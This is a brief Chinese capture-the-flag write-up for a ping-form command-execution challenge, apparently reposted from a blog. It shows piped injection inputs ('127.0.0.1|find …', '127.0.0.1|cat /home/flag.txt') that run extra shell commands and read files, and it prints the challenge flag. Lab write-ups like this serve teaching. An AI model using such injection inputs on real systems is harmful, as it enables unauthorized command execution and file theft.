攻防世界 | command_execution WP

题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

首先去了解一下waf是个啥——

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

 按我现有的知识储备量,先ping一个本地试试,发现可以ping通(如下图)

ping 127.0.0.1

 

可以ping通的话,再试试搜索一下flag字段看看有没有:

127.0.0.1 |find / -name "*.txt"

 

找到flag.txt后,输入一下代码来查看flag.txt中的内容

127.0.0.1|cat /home/flag.txt 

 

成功拿到flag:  cyberpeace{aa82ad143f24e6fc813e6a8823793325}

猜你喜欢

转载自blog.csdn.net/weixin_47982238/article/details/108559601
今日推荐